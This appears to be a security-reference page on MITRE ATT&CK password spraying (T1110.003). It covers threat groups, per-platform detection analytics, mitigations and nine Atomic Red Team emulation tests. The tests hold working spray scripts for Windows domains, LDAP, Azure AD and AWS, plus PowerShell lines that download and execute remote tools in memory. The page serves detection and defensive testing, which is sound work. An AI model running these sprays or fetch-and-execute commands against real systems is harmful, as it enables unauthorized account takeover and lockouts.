Engaged in password spraying via SMB in victim environments.1
- Tactic
- Credential Access
- Platforms
- Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS
- Version
- 1.8
- Created
- 11 February 2020
- Last modified
- 24 October 2025
- Contributors
- Microsoft Threat Intelligence Center (MSTIC); John Strand
Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. [1]
Password Spraying MITRE reference T1110.003
11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has conducted password spraying against Outlook Web Access (OWA) infrastructure to identify valid user names and passwords.1
Has gained initial access through password spray attacks.1
Has used collected lists of names and e-mail accounts to use in password spraying attacks against private sector targets.1
Has used multiple password spraying attacks against victim's remote services to obtain valid user and administrator accounts.1
Has used password spraying attacks to obtain valid credentials.1
All 11 groups for this technique · 6 newest in this preview
2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Has conducted a throttled variant of password spraying techniques that only utilized a single attempt to sign in within a 24-hour time period, eluding brute force detection thresholds.1
During APT28 Nearest Neighbor Campaign, APT28 performed password-spray attacks against public facing services to validate credentials.1
All 2 campaigns for this technique
4 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Bad Rabbit’s infpub.dat file uses NTLM login credentials to brute force Windows machines.1
Can brute force credential authentication by using a supplied list of usernames and a single password.1
Can be used for password spraying against Exchange and Office 365.1
Brute forces SSH passwords in order to attempt to gain access and install its malware onto the server. 1
All 4 software entries for this technique
Offense vs defense T1110.003
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Password Spraying detection strategy DET0487
MITRE names one behaviour worth catching for this technique and breaks it into 8 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Distributed Password Spraying via Authentication Failures Across Multiple Accounts
AN1336 · Windows
A high volume of authentication failures using a single password (or small set) across many different user accounts within a defined time window
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | WinEventLog:Security | EventCode=4625, 4771, 4648 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| PasswordReuseThreshold | Number of distinct accounts a password is used against before alerting |
| TimeWindow | Window over which the correlation is measured (e.g., 10 mins) |
| TargetGroupFilter | Limit detection to sensitive or monitored user groups (e.g., Admins) |
AN1337 · Linux
Authentication failures across different accounts using a repeated or similar password via SSH or PAM stack within a short window
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | linux:syslog | Failed password for invalid user |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| PasswordReusePattern | Repetition or minor variation of the same password across user attempts |
| IPAggregationWindow | Length of time to observe distributed spray attempts from single source |
AN1338 · macOS
Multiple failed login attempts across different users using common password patterns (e.g., 'Welcome2023')
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | macos:unifiedlog | Login Window and Authd errors |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| RetryCountThreshold | Total number of attempts before alerting |
| CommonPasswordList | List of passwords considered suspicious due to widespread use |
AN1339 · Identity Provider
Sign-in failures across enterprise SSO applications or SaaS platforms from same IP address using the same password against multiple user identities
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | azure:signinlogs | Failure Reason + UserPrincipalName |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| GeoIPAnomalyCheck | Use geolocation mismatches to strengthen signal |
| FailedUserRatio | Proportion of total user base affected to filter noise |
AN1340 · Network Devices
Authentication failure logs on routers/switches showing repeated use of default or common passwords across multiple accounts
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | networkdevice:syslog | AAA or TACACS authentication failures |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| AuthFailureBurst | Cluster of failed attempts in short period indicating spray |
| InterfaceFilter | Limit detection to console/SSH vs web UI interfaces |
AN1341 · Containers
Repeated failed authentication attempts to container APIs, control planes, or login shells across many user names using same password
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | kubernetes:audit | Failed login |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| OrchestrationScope | Detect spray attempts scoped to single pod vs full cluster |
| ServiceAccountFilter | Limit detection to non-service accounts to reduce noise |
AN1342 · Office Suite
Failed authentication attempts across user mailboxes using identical or common passwords (e.g., OWA brute attempts)
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | m365:exchange | FailedLogin |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| MailboxAccessAttempts | Threshold on mailbox login failures by same IP |
| EmailPatternAnalysis | Match target usernames to common spray dictionaries |
AN1343 · SaaS
SaaS applications receiving authentication failures for dozens of accounts using same password or login signature
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| User Account AuthenticationDC0002 | saas:auth | signin_failed |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CloudAppScope | Restrict detection to identity providers or select high-risk SaaS platforms |
| UserPopulationSensitivity | Adjust based on size and role of account pool |
Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges. Consider blocking risky authentication requests, such as those originating from anonymizing services/proxies.
Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.
Refer to NIST guidelines when creating password policies.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Password Spray all Domain Users | windows | cmd | — | 1 | — | ||||||||||||||||||
CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently. This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray. Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt. See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5 Input arguments
Attack command @FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL
Prerequisite List of domain users to password spray must exits at %temp%\users.txt Check if not exist %temp%\users.txt (exit /b 1) Satisfy "PathToAtomicsFolder\T1110.003\src\parse_net_users.bat" GUIDd24f07b8-6f6d-4315-9ac4-ec6f10e0f97a | ||||||||||||||||||||||||
| 02 | Password Spray (DomainPasswordSpray) | windows | PowerShell | — | — | — | ||||||||||||||||||
Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain https://github.com/dafthack/DomainPasswordSpray Input arguments
Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
GUIDf8ad76b9-c557-49c4-bbe1-5e666b5097ab | ||||||||||||||||||||||||
| 03 | Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos) | windows | PowerShell | — | — | — | ||||||||||||||||||
Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users) Input arguments
Attack command if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
exit 1
}
$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)
$DomainUsers | Foreach-Object {
$user = $_
$password = '#{password}'
$credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
$conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
try {
Write-Host " [-] Attempting ${password} on account ${user}."
$conn.bind()
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] ${user}:${password} are valid credentials!"
} catch {
Write-Host $_.Exception.Message
}
}
Write-Host "End of password spraying"
GUID2f1cd13f-f99b-4acd-89ca-27bef734a36b | ||||||||||||||||||||||||
| 04 | Password spray all Azure AD users with a single password | azure-ad | PowerShell | — | 1 | — | ||||||||||||||||||
Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module. Valid credentials are only needed to fetch the list of Azure AD users. Input arguments
Attack command Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
Connect-AzureAD -Credential $Credential > $null
($Users = Get-AzureADUser -All $true) > $null
Disconnect-AzureAD > $null
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Users | Foreach-Object {
$user = $_.UserPrincipalName
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
try {
Write-Host " [-] Attempting #{password} on account ${user}."
Connect-AzureAD -Credential $Credential 2>&1> $null
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] ${user}:#{password} are valid credentials!`r`n"
Disconnect-AzureAD > $null
} catch {
Write-Host " [-] ${user}:#{password} invalid credentials.`r`n"
}
}
Write-Host "End of password spraying"
Prerequisite AzureAD module must be installed. Check try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Satisfy Install-Module -Name AzureAD -Force GUIDeb157de3-9a7b-4309-979d-2ffd58c8929b | ||||||||||||||||||||||||
| 05 | WinPwn - DomainPasswordSpray Attacks | windows | PowerShell | — | — | — | ||||||||||||||||||
DomainPasswordSpray Attacks technique via function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
domainpassspray -consoleoutput -noninteractive -emptypasswordsGUID72854070-5e0e-4ab2-9689-d629bf0df3cc | ||||||||||||||||||||||||
| 06 | Password Spray Invoke-DomainPasswordSpray Light | windows | PowerShell | — | 1 | — | ||||||||||||||||||
Perform a domain password spray using the same core method of the DomainPasswordSpray tool but without all the extra code that makes the script get blocked by many AVs. This atomic test will attempt a single password against all users in a password list at $env:Temp\usersdpsLight.txt. You can create this file manually or with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid massive account lockout. Input arguments
Attack command function Invoke-dpsLight ($Password, $userlist) {
$users = Get-Content $userlist
$Domain = "LDAP://" + ([ADSI]"").distinguishedName
foreach ($User in $users) {
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)
if ($Domain_check.name -ne $null) {
Write-Host -ForegroundColor Green "Password found for User:$User Password:$Password"
}
else { Write-Host ". " -NoNewline}
}
Write-Host -ForegroundColor green "Finished"
}
Invoke-dpsLight "#{password}" $env:Temp\usersdpsLight.txt
Prerequisite Username file must exist at $env:Temp\usersdpsLight.txt Check if (Test-Path $env:Temp\usersdpsLight.txt) {exit 0} else {exit 1}
Satisfy Write-Host -NoNewLine "Reading Users." # this code modifed from https://github.com/ZoomerHulkHogan/Powershell-Domain-User-Enumeration
$netOutput = net users /domain
$netOutput = [System.Collections.ArrayList]($netOutput[6..($netOutput.length-3)])
$userLimit = #{user_limit}; $usercount = 0
foreach ($line in $netOutput) {
if($usercount -ge $userLimit){break}
$line = $line.trim()
$line = $line -split '\s\s+'
foreach ($user in $line){
if($usercount -ge $userLimit){break}
Add-Content $env:Temp\usersdpsLight.txt $user
$usercount = $usercount + 1
}
}
Write-Host "Usernames saved to $env:Temp\usersdpsLight.txt"
GUIDb130be91-ebf0-43cc-94b8-92d0e96e2e19 | ||||||||||||||||||||||||
| 07 | Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365) | azure-ad | PowerShell | — | 1 | — | ||||||||||||||||||
This test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module. Input arguments
Attack command import-module "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
Invoke-MSOLSpray -UserList "#{user_list}" -Password "#{password}"
Prerequisite MSOLSpray module must exist in PathToAtomicsFolder\..\ExternalPayloads. Check if (test-path "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"){exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://raw.githubusercontent.com/dafthack/MSOLSpray/922f159104fb3ec77c9fc6507a6388a05c227b5f/MSOLSpray.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1" GUID66d2dceb-f122-49e5-81e7-7b0b5a316b26 | ||||||||||||||||||||||||
| 08 | Password Spray using Kerbrute Tool | windows | PowerShell | — | 2 | — | ||||||||||||||||||
Test a single password against a list of users Input arguments
Attack command cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt" password132
Prerequisite kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads Check if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe" Prerequisite passwordspray.txt must exist in PathToAtomicsFolder\..\ExternalPayloads Check if (test-path "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"){exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/src/passwordspray.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt" GUIDa78fe90d-dca8-4a7a-b755-24f260db5f92 | ||||||||||||||||||||||||
| 09 | AWS - Password Spray an AWS using GoAWSConsoleSpray | iaas:aws | sh | — | 1 | Yes | ||||||||||||||||||
GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/ Input arguments
Attack command cd /tmp
git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git
cd /tmp/GoAWSConsoleSpray
go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt
Cleanup command rm -rf /tmp/GoAWSConsoleSpray Prerequisite Check if go is installed Check go version Satisfy echo Install GO GUID9c758c9c-ec7c-441a-b465-64879ce87acf | ||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition